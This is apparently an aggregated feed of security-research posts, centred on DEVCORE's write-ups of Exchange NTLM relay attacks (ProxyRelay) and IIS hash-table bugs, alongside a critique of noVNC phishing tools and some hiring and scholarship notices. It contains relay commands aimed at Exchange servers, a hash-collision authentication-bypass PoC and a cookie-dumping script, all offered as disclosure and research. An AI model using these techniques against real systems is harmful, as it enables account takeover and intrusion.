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Before yesterdayUncategorized

Cracking Zeppelin

By: adam
19 November 2022 at 23:29
A few days ago Brian Krebs published a piece about Zeppelin key cracking, so … since I was also involved in recovering files for some of the ransomware gang victims […]

HanseSecure in the ARD Munich Report

By: Hansemann
14 August 2022 at 10:26
Common applicant portals provide a breeding ground for false job ads and the identity theft that accompanies them. "Send us your resume and we need your data", thus -MUCH THANKS for YOUR IDENTITY-. Nothing is recognizable for applicants! This scam runs fast and uncomplicated. The danger- suddenly ignorance leads to punishment. Criminal proceedings for the bona fide applicant will follow.

Ghidra Python Paleontology

30 September 2022 at 02:51
TL;DR - This post will walk through the process of creating a Headless Ghidra Python VScode template. This is not recommended as the official language for Ghidra is Java and the supported IDE is Eclipse, but we will give it a go. The process involved “digging up” the Ghidra Python Scripting landscape and understanding what was possible. The lessons learned are capture in the VScode template ghi...

A New Attack Surface on MS Exchange Part 4 - ProxyRelay!

18 October 2022 at 16:00

Hi, this is a long-time-pending article. We could have published this article earlier (the original bug was reported to MSRC in June 2021 with a 90-days Public Disclosure Policy). However, during communications with MSRC, they explained that since this is an architectural design issue, lots of code changes and testings are expected and required, so they hope to resolve this problem with a one-time CU (Cumulative Update) instead of the regular Patch Tuesday. We understand their situation and agree to extend the deadline.

Microsoft eventually released Exchange Server 2019 CU 12 and Exchange Server 2016 CU 23 on April 20, 2022. However, this patch did not enable by default. Microsoft didn’t release the patch-activating methods until August 09, 2022. So, we originally had the opportunity to demonstrate our attack at Pwn2Own Vancouver 2021. However, we dropped the idea quickly because our intention is not to earn bounties. We are here to secure the world! You can check the Timeline to know the detailed disclosure process.


Since Microsoft blocked our Proxy-Related attacks in April 2021, I have been thinking about whether there is a way to bypass the mitigation. During that April patch, Microsoft enhanced the authentication part of CAS Frontend by requiring all HTTP requests that need a Kerberos Ticket to be authenticated first. This enhancement effectively mitigated the attack surface we proposed and stopped unauthenticated HTTP requests accessing the CAS Backend. So Exchange is safe now?

Of course not, and this article is to prove this! Since Microsoft only fixes the problematic code, we proposed several attacks and possible weaknesses in our POC 2021 and HITCON 2021 talks.

Maybe you have heard that our first prediction has already been made in recent ProxyNotShell. The attack reuses the path confusion of ProxyShell but attaches a pre-known authentication instead. It’s solid but it looks it still needs a valid authentication (not sure, still haven’t time to dig into). However, we hinted there is another way not to fight with the auth-enhancement face-to-face during my talks. Now we can finally disclose it :)

Just in case you don’t know, I am a big fan of Printer Bug (kudos to Lee Christensen, Will Schroeder, and Matt Nelson for their amazing talk at DerbyCon 2018). PrinterBug allows an attacker to coerce any domain-joined machine to initiate an SMB connection with its own Machine Account to the attacker via MS-RPRN protocol. Because this behavior works as designed, this hacker-friendly feature has been extensively used for NTLM relaying for years.

In the architecture of Exchange CAS, Backend authorizes an HTTP request to have the ability to impersonate any user by checking whether the login identity has the Extended Right of ms-Exch-EPI-Token-Serialization or not. Also, during the Exchange Server installation, the mailbox server will be added to the Exchange Servers group automatically, and all objects in this Active Directory group have that Token-Serialization right by default.

With the prior knowledge in mind, I come up with a simple idea. It’s common to see multiple Exchange Servers in corporate networks for high availability and site resilience. Can we relay the NTLM authentication among Exchange Servers?

There are several pros to this relay idea. Since it’s a cross-machine relay, it won’t be limited by the same-host restriction. Also, because the NTLM authentication is initiated by the Machine Account of Exchange Server, the relayed authentication owns the Token-Serialization right that allows us to impersonate any user in Exchange services. I believe this is a fantastic idea and would like to explore if it is exploitable!

P.S. This attack surface was also found and reported to MSRC independently by Dlive from Tencent Xuanwu Lab, so you can see we share most of the CVE acknowledgments.


Let’s talk about the vulnerabilities. Since it’s an entire attack surface instead of a single bug, this idea could be applied to different contexts, causing different vulnerabilities. The impact of these vulnerabilities is that an attacker can bypass Exchange authentications or even get code execution without user-interaction. Here are the related CVEs so far:

The following attacks have the similar template, the host EX01 stands for the first Exchange Server, EX02 for the second Exchange Server, and ATTACKER for the attacker-controlled server.

In all attacks, the attacker coerces the first Exchange Server to initiate an NTLM authentication to him, and relay it to the second Exchange Server. We use printerbug.py to coerce a server to initiate an SMB connection and use ntlmrelayx.py to catch the NTLM and relay the authentication to another Exchange Server.

Round 1 - Relay to Exchange FrontEnd

For the first context, we try to relay the authentication to another Frontend of Exchange Server. Since the identity of the relayed authentication is Exchange’s Machine Account which owns the Token-Serialization right, we can impersonate any user! Here we relay the NTLM authentication from EX01 to EX02’s Frontend EWS service as the showcase. We implement the relay-to-frontend-EWS attack by customizing the httpattack.py! Here is a simple overview:

  1. Run the ntlmrelayx.py on the ATTACKER server to wait for NTLM authentications.
  2. Use the printerbug.py to coerce EX01 to initiate an SMB connection to ATTACKER.
  3. Receive the SMB connection on the ATTACKER and relay the NTLM blobs to EX02.
  4. Complete the NTLM handshakes to get full access to the EWS endpoint.
# Terminal 1
$ python ntlmrelayx.py -smb2support -t https://EX02/EWS/Exchange.asmx

# Terminal 2
$ python printerbug.py EX01 ATTACKER

Theoretically, we can take over the target mailbox by EWS operations. Here we give a demo to dump the secret under administrator’s mailbox.

Patching FrontEnd

Microsoft assigned CVE-2021-33768 and released a patch to fix that Frontend is relay-able in July 2021. Since logging in as Machine Account in Frontend isn’t a regular operation, it’s easy to mitigate the attack by adding a check IsSystemOrMachineAccount() on the Frontend Proxy-Handler to ensure all Frontend logons are not Machine Account.

Round 2 - Relay to Exchange BackEnd

Relaying to Frontend can be easily mitigated by a simple check. How about relaying to Backend? Since Backend verifies the Frontend requests by checking whether it’s a Machine Account or not, mitigating Backend would be more challenging because it’s a regular operation and Backend needs the Machine Account that hash the extended right of ms-Exch-EPI-Token-Serialization to impersonate to the desired user. Here we provide 3 showcases against attacking Backend.

2-1 Attacking BackEnd /EWS

Based on the relay-to-frontend EWS attack we introduced, the earlier attack can be re-applied to Backend seamlessly. The only change is to modify the target port from 443 to 444.

2-2 Attacking BackEnd /RPC

The other showcase is attacking Outlook Anywhere. Exchange defines several internal RPC services that can directly operate the mailbox. Those RPC services have a public interface and can be access through /Rpc/*, and users can access their own mailbox via RPC-over-HTTP protocol, which is described in Microsoft’s MS-RPCH specification. For those who want to understand the underlying mechanism, it’s recommended to read the awesome research Attacking MS Exchange Web Interfaces by Arseniy Sharoglazov for details.

Back to our attack, the core logic is as same as attacking EWS. Because the /Rpc/* is also located at HTTP/HTTPS, it’s also relay-able. Once we bypass the authentication and access the route /Rpc/RpcProxy.dll, we can impersonate as any user and operate his mailbox through the RPC-over-HTTP protocol. To implement the attack, we have ported lots of the Ruler Project to Impacket. As the result of this showcase, we can bypass the authentication by PrinterBug and operates any user’s mailbox through Outlook Anywhere. The entire attack can be illustrated as the following steps:

  1. Establish RCP_IN_DATA and RCP_OUT_DATA channels to EX02 for RPC I/O.
  2. Trigger PrinterBug on EX01 and relay to EX02 to complete NTLM handshakes.
  3. Attach X-CommonAccessToken headers to indicate we are Exchange Admin on both HTTP headers.
  4. Interact with the Outlook Anywhere by lots of the coding works upon MS-OXCRPC and MS-OXCROPS over MS-RPCH…

2-3 Attacking BackEnd /PowerShell

The last showcase we would like to highlight is relaying to Exchange PowerShell. Since we have bypassed the authentication on Backend IIS, it’s possible to perform a ProxyShell-Like exploit again! Once we can execute arbitrary Exchange Cmdlets, it shouldn’t be hard to find a Post-Auth RCE to chain together because we are Exchange Admin. There are hundreds of Cmdlets for the purpose of Exchange Management, and many past cases (CVE-2020-16875, CVE-2020-17083, CVE-2020-17132, CVE-2021-31207 and more) have proven that this is not a difficult task, too.

Since we decided not to participate in Pwn2Own, we did not implement this exploit chain. Here we leave this as an exercise for our readers. ;)

2-4 Patching BackEnd

Microsoft assigned CVE-2022-21979 and patch that in August 2022. This patch permanently eliminates all relay attacks on Backend by forcibly turning on the Extended Protection Authentication in IIS.

Round 3 - Relay to Windows DCOM

This part should be all credited to Dlive. The industry knows MS-DCOM is relay-able since Sylvain Heiniger’s awesome Relaying NTLM authentication over RPC research for long. However, Dlive creates an RCE-chain based on the group inheritance of Exchange Servers in Active Directory environments. Please shout out to him!

The idea of this attack is that the Local Administrators group of Exchange Server includes the group member Exchange Trusted Subsystem, and all Exchange Server are in this group by default. That means the Machine Account EX01$ is also the local administrator of EX02. With this concept in mind, the impact of relay-to-MS-DCOM can be maximized and perfectly applied to Exchange Server now!

Dlive has demonstrated this attack in his DEFCON 29 talk. Although he didn’t publish the exploit code, the Wireshark screenshot in his slidesp45 has already hinted everything and is enough to reproduce. The process could be illustrated as the following:

  1. Coerce EX01 to initiate a connection, and relay the NTLM to the Endpoint Mapper (port 135) of EX02 to get the Interface of MMC20.Application.
  2. Coerce EX01 again, and relay the NTLM to the dynamic port allocated by the EPMapper, and call ExecuteShellCommand(...) under iMMC->Document->ActiveView.
  3. Run arbitrary commands for fun and profit!

Writing the whole exploit is fun, just like mixing the dcomexec.py and ntlmrelayx.py together. It’s recommended to write your own exploit code by hand for those who want to understand the DCOM mechanism more!

Patching DCOM

Microsoft assigned CVE-2021-26414 and patch this DCOM-relay in June 2021. However, due to compatibility, the hardening on the server-side is disabled by default. Server Admin has to manually activate the patch by creating the following registry key. If Server Admin didn’t read the documentation carefully, his Exchange Server is probably still vulnerable after the June patch.


As for when will the protection be enforced on server side? According to the FAQ under the CVE page, Microsoft has addressed a three-phase rollout to fully mitigate this issue. Now, it’s on phase one, and the patch won’t be activated by default until June 14, 2022. So, at the time of this writing, this RCE is still exploitable on the latest version of Exchange Server!

P.S. Microsoft hash announce the second phase and enabled the hardening on the server-side by default on June 14, 2022. Exchange Server that installed the latest Windows patch should be safe now

Round 4 - Relay to Other Exchange Services…

Services that use NTLM as their authentication method on Exchange Server might be vulnerable, too. At the time of this writing, we have already found and reported one to MSRC. We believe there should be more, and this is a good target for those who want to discover vulnerabilities on Exchange Server!


Here, this series has finally come to an end. Over the past two years, many ups and downs made this journey unusual. From the earliest bug collision with the bad actor, ITW panic, to the Pwn2Own hacking competition, and our talks got acceptance at top-level hacker conferences, we have a clear conscience that we didn’t do anything wrong. However, without understanding the context, there were lots of incorrect speculations and inaccurate media reports toward our company and me; there were even low blows to us… that sucks.

Although there were also happy moments, such as winning our first Master-of-Pwn champion at the top-hacking competition Pwn2Own and got the Best Server-Side bug of Pwnie Awards, the gossip and troll really harassed and depressed me a lot…

Congratulate that I can finally close this research and start my new hacking. I am nothing but a security nerd who would rather spend more time on hacks, and please don’t blame me if my sentences are sometimes short and unclear; it’s not easy to express things in an unfamiliar language. It took me about 4x~5x times to arrange a presentation or article in a non-native language; lots of words were lost during refining.

Hope that one day, there will be no language barrier. In a bar, with beers, we can talk about hacks, the culture, and hacking all night!


  • Jun 02, 2021 - We reported the vulnerability to Microsoft through the MSRC portal.
  • Jun 03, 2021 - MSRC opened the case. (No. 65594)
  • Jun 03, 2021 - We attached a 90-days Vulnerability Disclosure Policy to MSRC. The deadline is Sep 01, 2021.
  • Jun 11, 2021 - MSRC replied that they are aiming to complete it before September.
  • Jul 22, 2021 - MSRC said the case doesn’t look like it will be fully resolved by September.
  • Jul 25, 2021 - We said we could extend the deadline and let us know the new estimated date.
  • Aug 25, 2021 - We asked for the estimated date again.
  • Sep 01, 2021 - MSRC said this case has been expanding into a design change and the intended release date is December 2021.
  • Sep 08, 2021 - We asked is it possible to shorten the time frame because we would like to disclose this at conferences.
  • Sep 17, 2021 - MSRC replied there are not quick and simple fixes but design level changes, they can’t get the changes in October.
  • Oct 25, 2021 - We decided not to disclose this at conferences and gave the team a fair time for fixing and testing. We hoped this bug could be fixed as scheduled in December 2021.
  • Dec 21, 2021 - We asked for updates on this case.
  • Dec 22, 2021 - MSRC replied they aimed to include this patch in a CU (Cumulative Update) instead of an SU (Security Update) due to the level of changes. The next CU release date will be in March 2022.
  • Apr 04, 2022 - We asked that we don’t see the CU in March. When is the new release date?
  • Apr 13, 2022 - MSRC replied the CU is delayed, and the current release date is on April 20, 2022.
  • Apr 20, 2022 - Microsoft released Exchange Server 2019 CU 12 and Exchange Server 2016 CU 23.
  • Apr 21, 2022 - We found our exploit still works fine on the latest version of Exchange Server and asked is this bug really fixed?
  • Apr 27, 2022 - MSRC replied the CU contain the code change, but it needs to be activated manually or with a script. There are still some testing concerns but the manual activation process will be public on May 10, 2022.
  • May 11, 2022 - MSRC said the documentation and the script are mapped for the Patching Tuesday of June 2022 (Jun 14, 2022).
  • Jun 10, 2022 - MSRC said there are still having some issues on testing and they are looking to release this in July 2022.
  • Jul 04, 2022 - We asked if it will release in this month’s Patching Tuesday.
  • Aug 10, 2022 - Don’t see anything, asked again.
  • Aug 18, 2022 - Microsoft released the CVE and the patch activation documentation!

Introducing CVE North Stars

30 August 2022 at 10:48
TL;DR - CVE North Stars is a tutorial that introduces a method to kickstart vulnerability research by treating CVEs as North Stars in vulnerability discovery and comprehension. Background This post introduces CVE North Stars, a tutorial I started writing back in 2020 (v1.0.0) when attempting to learn methods of vulnerability research. At the time, I observed several examples of others usi...

From NtObjectManager to PetitPotam

24 June 2022 at 03:46
TL;DR - Windows RPC enumeration, discovery, and auditing via NtObjectManager. We will audit the vulnerable RPC interfaces that lead to PetitPotam, discover how they have changed over the past year, and overcome some common RPC auditing pitfalls. I was inspired by From RpcView to PetitPotam from @itm4n, an excellent post that taught me how to use RpcView to discover the RPC interfaces and in pa...

A Survey of Windows RPC Discovery Tools

2 June 2022 at 05:11
TL;DR A survey of Windows Remote Procedure Call discovery tools and an attempt to understand how open source tools discover RPC servers, interfaces, and procedures. Windows RPC has been a black box for me for some time. This post is an attempt to leverage analysis of open source RPC tools to pry open that box. I started by reading MSDN, getting bored and then bouncing between several detailed ...

Mining Google Chrome CVE data

17 May 2022 at 20:38
TL;DR - The Google Chrome Releases blog provides CVE data one liners containing all the information needed to create a rich CVE data source. Google Chrome CVEs are plentiful and provide information for understanding Google Chrome security trends. Using the information available, I was able to create an enriched CVE data source to enhance the CVE Markdown Charts Github project. CVE Data Sou...

Introducing CVE Markdown Charts - Part 1

19 March 2022 at 21:56
TL;DR - CVE Markdown Charts - Your InfoSec reports will now write themselves… After writing several InfoSec reports and researching CVEs, I discovered a means to create dynamic charts that help readers and myself understand various CVE relationships and their implications. Say hello to CVE Markdown Charts, or at least its first iteration (v0.1.0). CVE, as in Common Vulnerabilities and Expo...

DEVCORE 徵求資安研究員

20 September 2022 at 16:00

常常參加各大 CTF 比賽,卻不知如何將學會的技能發揮在真實世界中嗎?

DEVCORE Research Team 成立數年來持續研究最前瞻的資安技術,回報過多個世界級的漏洞,在 Black Hat、DEFCON 等國際資安研討會都能看見我們的戰績,Pwnie Awards、Best Web Hacking Techniques 各種獎項我們也毫不留情地橫掃,在 Pwn2Own 駭客大賽中更是列居首位!然而,資安領域之廣、更迭速度之快,單憑寥寥數人也是力有未逮,


故此,We Need YOU!

現在,DEVCORE Research Team 公開徵求資安研究員囉!不論你是專精於網頁安全,或是對逆向工程情有獨鍾,甚至你喜歡動手拆解硬體,我們不需要你的肝,只需要你對於資安研究的熱忱!我們看重的不是工作經驗,而是對資安傾注過多少心力!


  • 與頂尖駭客一起交流、合作的寶貴經驗
  • 實際體驗並挖掘 Real World 漏洞,找到屬於自己的第一個 CVE!
  • 深入業界實戰攻防,真實感受漏洞研究與企業資安的結合



  • 個人研究 70%
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    • 規劃、執行產品安全測試
    • 根據檢測需求,研究相關弱點或開發相關工具
    • 協助紅隊執行專案,提供技術火力支援


  • 具備漏洞挖掘能力
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  • 具備特定領域資安相關知識,包含但不限於
    • 主流作業系統運作機制、相關漏洞及其利用技術
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  • CTF 比賽經驗
  • pwnable.tw 成績
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Thoughts on the use of noVNC for phishing campaigns

9 September 2022 at 00:00

Dear Fellowlship, today’s homily is a rebuke to all those sinners who have decided to abandon the correct path of reverse proxies to bypass 2FA. Penitenziagite!

Prayers at the foot of the Altar a.k.a. disclaimer

This post will be small and succinct. It should be clear that these are just opinions about this technique that has become trendy in the last weeks, so it will be a much less technical article than we are used to. Thanks for your understanding :)


In recent weeks, we have seen several references to this technique in the context of phishing campaigns, and its possible use to obtain valid sessions by bypassing MFA/2FA. Until now, the preferred technique for intercepting and reusing sessions to evade MFA/2FA has been the use of reverse proxies such as Evilginx or Muraena. These new proof of concepts based on HTML5 VNC clients boil down to the same concept: establishing a Man-in-the-Middle scheme between the victim’s browser and the target website, but using a browser in kiosk mode to act as a proxy instead of a server that parses and forwards the requests.

Probably the article that started this new trend was Steal Credentials & Bypass 2FA Using noVNC by @mrd0x.

Reverse proxy > noVNC

We believe the usage of noVNC and similar technologies is really interesting as proof of concepts, but at the moment they do not reach the bare minimum requirements to be used in real Red Team engagements or even pentesting. Let’s take EvilnoVNC as an example.

While testing this tool the following problems arise:

  • Navigation is clunky as hell.
  • The URL does not change, always remains the same while browsing.
  • The back button breaks the navigation in the “real browser”, and not in the one inside the docker.
  • Right-click is disabled.
  • Links do not show the destination when onmouseover.
  • Wrong screen resolution.
  • Etc.

Even an untrained user would find out about these issues just with the look and feel.

Look And Feel
Look and feel.

On the other hand, the operator is heavily restricted in order to achieve a minimum of OPSEC. As an example, we can think about the most basic check we should bypass: User-Agent. Mimicking the User-Agent used by the victim is trivial when dealing with proxies, as we only need to forward it in the request from our server to the real website, but in the case of a browser using kiosk mode it is a bit more difficult to achieve. And the same goes for other modifications that we should make to the original request like, for example, blocking the navigation to a /logout endpoint that would nuke the session.

Another fun fact about this tool is… it does not work. If you test the tool you will find the following:

[email protected]:/tmp/EvilnoVNC/Downloads|main⚡ ⇒  cat Cookies.txt

        Host: .google.com
        Cookie name: AEC
        Cookie value (decrypted): Encrypted
        Creation datetime (UTC): 2022-09-10 19:44:54.548204
        Last access datetime (UTC): 2022-09-10 21:31:39.833445
        Expires datetime (UTC): 2023-03-09 19:44:54.548204

        Host: .google.com
        Cookie name: CONSENT
        Cookie value (decrypted): Encrypted
        Creation datetime (UTC): 2022-09-10 19:44:54.548350
        Last access datetime (UTC): 2022-09-10 21:31:39.833445
        Expires datetime (UTC): 2024-09-09 19:44:54.548350

Which is really odd. If you check the code from the GitHub repo…

import os
import json
import base64
import sqlite3
from datetime import datetime, timedelta

def get_chrome_datetime(chromedate):
    """Return a `datetime.datetime` object from a chrome format datetime
    Since `chromedate` is formatted as the number of microseconds since January, 1601"""
    if chromedate != 86400000000 and chromedate:
            return datetime(1601, 1, 1) + timedelta(microseconds=chromedate)
        except Exception as e:
            print(f"Error: {e}, chromedate: {chromedate}")
            return chromedate
        return ""

def main():
    # local sqlite Chrome cookie database path
    filename = "Downloads/Default/Cookies"
    # connect to the database
    db = sqlite3.connect(filename)
    # ignore decoding errors
    db.text_factory = lambda b: b.decode(errors="ignore")
    cursor = db.cursor()
    # get the cookies from `cookies` table
    SELECT host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value 
    FROM cookies""")
    # you can also search by domain, e.g thepythoncode.com
    # cursor.execute("""
    # SELECT host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value
    # FROM cookies
    # WHERE host_key like '%thepythoncode.com%'""")
    # get the AES key
    for host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value in cursor.fetchall():
        if not value:
            decrypted_value = "Encrypted"
            # already decrypted
            decrypted_value = value
        Host: {host_key}
        Cookie name: {name}
        Cookie value (decrypted): {decrypted_value}
        Creation datetime (UTC): {get_chrome_datetime(creation_utc)}
        Last access datetime (UTC): {get_chrome_datetime(last_access_utc)}
        Expires datetime (UTC): {get_chrome_datetime(expires_utc)}
        # update the cookies table with the decrypted value
        # and make session cookie persistent
        UPDATE cookies SET value = ?, has_expires = 1, expires_utc = 99999999999999999, is_persistent = 1, is_secure = 0
        WHERE host_key = ?
        AND name = ?""", (decrypted_value, host_key, name))
    # commit changes
    # close connection

if __name__ == "__main__":

As you can see, the script is just a rip off from this post, but the author of EvilnoVNC deleted the part where the cookies are decrypted :facepalm:.

The cookies that you never will see
The cookies that you never will see.

You can not grab the cookies because you are setting its value to the literal string Encrypted instead of the real decrypted value :yet-another-facepalm:. We did not check if this dockerized version saves the master password in the keyring or if it just uses the hardcoded ‘peanuts’. In the former case, copying the files to your profile shouldn’t work.

About detection

The capability to detect this technique heavily relies on what can you inspect. The current published tooling uses a barely modified version of noVNC, meaning that if you are already inspecting web JavaScript to catch malicious stuff like HTML smuggling, you could add signatures to detect the use of RFB. Of course it is trivial to bypass this by simply obfuscating the JavaScript, but you are sure to catch a myriad of ball-busting script kiddies.

psyconauta@insulanova:/tmp/EvilnoVNC/Downloads|main⚡ ⇒  curl http://localhost:5980/ 2>&1 | grep RFB
        // RFB holds the API to connect and communicate with a VNC server
        import RFB from './core/rfb.js';
        // Creating a new RFB object will start a new connection
        rfb = new RFB(document.getElementById('screen'), url,
        // Add listeners to important events from the RFB module

Moreover, all control is done through the RFB over WebSockets protocol, so it is quite easy to spot this type of traffic as it is unencrypted at the application level.

RFB traffic in clear being send through WebSockets (ws:yourdomain/websockify)
RFB traffic being sent through WebSockets (ws:yourdomain/websockify).

Additionally, because this protocol is easy to implement, you can create a small script to send keystrokes and/or mouse movements directly to escape from Chromium to the desktop.

Jailbreaking chromium.

This tool executes noVNC on a docker so there is not much to do after escaping from Chromium, but think about other script kiddies who execute it directly on a server :). Automating the scanner & pwnage of this kind of phishing sites is easy if you have the time.

From the point of view of the endpoint to log into, it is easier to detect the use of a User-Agent other than the usual one. If your user base accesses your VPN web portal from Windows, someone connecting from Linux should trigger an alert.

And finally, the classic “training-education-whatever” of users would help a lot as the current state of the art is trivial to spot.


Tooling around this concept of MFA/2FA bypassing is still too rudimentary to be used in real engagements, although they are really cool proof of concepts. We believe it will evolve within the next years (or months) and people will start to work on better approaches. For now, reverse proxies are still more powerful as they can be easily configured to blend in with legitimate traffic, and the user does not experience look and feel annoyances.

We hope you enjoyed this reading! Feel free to give us feedback at our twitter @AdeptsOf0xCC.

Adobe: JSX and JSXBIN files

By: adam
2 September 2022 at 22:21
I wrote about older Adobe scripting before. I recently discovered that Adobe products support scripting using so-called ExtendScript language with code being stored either in a source-level JSX file, or […]

戴夫寇爾持續投入資安人才培育 - 啟動全國資訊安全獎學金計劃、延續資安教育活動贊助計劃

25 August 2022 at 16:00

戴夫寇爾自 2012 年成立以來,秉持著為台灣累積更豐厚的資安競爭力,不只透過主動式資安服務協助企業檢測資安防禦,進而提升整體資安體質;同時我們也很關注資安技術人才的培育,除了擔任學術、政府單位專任講師及顧問以外,也長期支持學生時期創辦的校園資安社團 NISRA(Network and Information Security Research Association),幫助學生們從學生時代建構正確的資訊安全意識及技能外,也更早瞭解資安產業的現況,與產業界接軌。


支持下一代資安人才 - 戴夫寇爾啟動「戴夫寇爾全國資訊安全獎學金」計劃

我們從學生時代就熱衷於資安研究,也透過校園課程、社團 NISRA 獲得充實的資安知識,有感於此,我們創立戴夫寇爾後也為母校—天主教輔仁大學、國立臺灣科技大學的學生設立了獎學金計畫,為學生的資安學習之路奉獻一點力量。

此計畫在 2022年(111 學年度)已邁入第 4 年,我們也擴大補助的範疇,首度為全國大專院校學生推出「戴夫寇爾全國資訊安全獎學金」,只要在資訊安全領域有出眾研究成果的學生,皆可以申請「戴夫寇爾全國資訊安全獎學金」補助,幫助大家在求學期間更加專注學習、奠定資安專長,進而形成正向循環。

有意申請者需提出學習資安的動機與歷程,並繳交資安研究或比賽成果,獲選者將能得到最高 2 萬元的研究補助,共 10 名。詳細申請辦法請見以下:

  • 申請資格:全國各大專院校學生皆可以申請。
  • 獎學金金額/名額:每年度取 10 名,每名可獲得獎學金新台幣 20,000 元整,共計 20 萬元。如報名踴躍我們將視申請狀況增加名額。
  • 申請時程:
    • 2022/8/31 官網公告獎學金計畫資訊
    • 2022/9/1 - 2022/9/30 開放收件
    • 2022/10/31 公布審查結果,並將於 10 至 11 月間頒發獎學金
  • 申請辦法:
    • 請依⽂件檢核表項次順序排列已附⽂件,彙整為⼀份 PDF 檔案,寄⾄ [email protected]。
    • 信件主旨及 PDF 檔案名稱請符合以下格式:[全國獎學⾦申請] 學校名稱_學號_姓名(範例:[全國獎學⾦申請] 輔仁⼤學_B11100000_王⼩美)。
    • 請申請⼈⾃我檢核並於申請⼈檢核區勾選已附⽂件,若⽂件不⿑或未確實勾選恕不受理申請。
  • 需檢附文件:
    • 本獎學⾦申請表
    • 在學證明
    • 最近⼀學期成績單
    • 學習資訊安全之動機與歷程⼼得⼀篇:字數 500 - 2000 字
    • 資訊安全技術相關研究成果:至少須從以下六項目中擇一繳交,包含研討會投稿結果、漏洞獎勵計畫成果、弱點研究成果、資訊安全比賽成果、資安工具研究成果、技術文章發表成果等
    • 社群經營成果:至少須從以下兩項目中擇一繳交,包含校園資安社團、公開資安社群等
    • 推薦函:導師、系主任、其他教授或業界⼈⼠推薦函,⾄少須取得兩封以上推薦函

支持曾經的我們 - 戴夫寇爾續辦 2022 年資安教育活動贊助計劃



  • 申請資格:與資安議題相關之社群、社團活動,請由 1 位社團代表人填寫資料。
  • 贊助金額:依各社團活動需求及與戴夫寇爾討論而定,每次最高補助金額為新台幣 20,000 元整。
  • 申請時程:如欲申請此計畫的社團或活動,請於 2022/10/31 前透過以下連結填寫初步資料,我們會在 30 日內通知符合申請資格者提供進一步資料,不符合資格者將不另行通知。
  • 申請連結:DEVCORE 2022 年資安教育活動贊助調查
  • 需提供資料:
    • 申請資格:申請人需以各資安社群或社團名義提出申請。
    • 聯絡電子郵件
    • 想要辦理的活動類型
    • 想要辦理的活動方式
    • 活動總預算
    • 預計需要贊助金額
    • 代表人姓名、連絡電話
    • 團體名稱
    • 團體單位網址
  • 注意事項:
    • 申請案審核將經過戴夫寇爾內部審核機制,並保有最終核決權。
    • 本問卷僅供初步意願蒐集用途,符合申請資格者,戴夫寇爾將於 30 日內通知提供進一步資料供審核,其餘將不另行通知。
    • 戴夫寇爾保有修改、暫停或終止本贊助計畫之權利。

Let's Dance in the Cache - Destabilizing Hash Table on Microsoft IIS

17 August 2022 at 16:00

Hi, this is my fifth time speaking at Black Hat USA and DEFCON. You can get the slide copy and video there:

As the most fundamental Data Structure in Computer Science, Hash Table is extensively used in Computer Infrastructures, such as Operating Systems, Programming Languages, Databases, and Web Servers. Also, because of its importance, Microsoft has designed its own Hash Table algorithm from a very early stage, and applied it heavily to its web server, IIS.

Since IIS does not release its source code, I guess the algorithm implementation details should be an unexplored area to discover bugs. Therefore, this research mainly focuses on the Hash Table implementation and its usage. We also look into the Cache mechanism because most of the Hash Table usages in IIS are Cache-Related!

Because most of the details are in the slides, please forgive me this time for this brief write-ups instead of a full blog.

P.S. All vulnerabilities addressed in this blog have been reported responsibly to Microsoft and patched in July 2022.

1. IIS Hash-Flooding DoS

It’s hard to imagine that we can still see such a classic Algorithmic Complexity Attack as Hash-Flooding Attack in IIS in 2022. Although Microsoft has configured a thread deleting outdated records every 30 seconds to mitigate the attack, we still found a key-splitting bug in the implementation to amplify our power by over 10 times to defeat the guardian by zero hashes. Through this bug we can make a default installed IIS Server unresponsive with about 30 connections per second!

Because this bug also qualifies for the Windows Insider Preview Bounty Program, we also rewarded $30,000 for this DoS. This is the maximum bounty for the category of Denial-of-Service!

You can check the full demo video here:

2. IIS Cache Poisoning Attack

Compared with other marvelous Cache Poisoning research, this one is relatively plain. The bug is found in the component of Output Caching, the module responsible for caching dynamic responses to reduce expensive database or filesystem access on web stacks.

Output Caching uses a bad Query String parser that only takes the first occurrence as the Cache-Key when Query String keys are duplicated. This behavior is actually not a problem independently. However, it’s a trouble in the view of the whole architecture with the backend, ASP.NET. The backend concatenates the value of all repeated keys together, which leads to an inconsistency between parser behaviors. Therefore, a classic HTTP Parameter Pollution can make IIS cache the wrong result!

3. IIS Authentication Bypass

This may be the most interesting bug of this talk. LKRHash is a Hash Table algorithm designed and patented by Microsoft in 1997. It’s based on Linear Hashing and created by Paul Larson of Microsoft Research, Murali Krishnan and George Reilly of the IIS team.

LKRHash aims to build a scalable and high-concurrent Hash Table under the multithreading and multi-core environment. The creators put a lot of effort into making this implementation portable, flexible and customizable to adapt to multiple products across Microsoft. An application can define its own Table-Related functions, such as the Hash Function, the Key Extracting Function, or the Key Comparing Function. This kind of extensibility creates a bunch of opportunities for vulnerability mining. So, under this context, we cares more about the relationship between the records, the keys, and the functions.

    "TOKEN_CACHE",   // An identifier for debugging
    pfnExtractKey,   // Extract key from record
    pfnCalcKeyHash,  // Calculate hash signature of key
    pfnEqualKeys,    // Compare two keys
    pfnAddRefRecord, // AddRef in FindKey, etc
    4.0,             // Bound on the average chain length.
    1,               // Initial size of hash table.
    0,               // Number of subordinate hash tables.
    0                // Allow multiple identical keys?

Because “Logon” is an expensive operation, to improve the performance, IIS cached all tokens for password-based authentications, such as Basic Authentication by default, and the bug we found this time is located in the logic of the key-comparing function when a collision occurs.

If a login attempt whose hash hits a key that is already in the cache, LKRHash enters the application-specific pfnEqualKeys function to determine whether the key is correct or not. The application-specific logic of TokenCacheModule is as follows:

As the logic compares several parts to make the decision, it’s weird why IIS compares the username twice.

I guess the original intent was to compare the password. However, the developer copy-and-pasted the code but forgot to replace the variable name. That leads to that an attacker can reuse another user’s logged-in token with random passwords.

To build the smallest PoC to test your own, you can create a testing account and configure the Basic Authentication on your IIS.

# add a test account, please ensure to remove that after testing
> net user orange test-for-CVE-2022-30209-auth-bypass /add

# the source of login is not important, this can be done outside IIS.
> curl -I -su 'orange:test-for-CVE-2022-30209-auth-bypass' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

Under the attacker’s terminal:

# script for sanity check
> type test.py
def HashString(password):
    j = 0
    for c in map(ord, password):
        j = c + (101*j)&0xffffffff
    return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
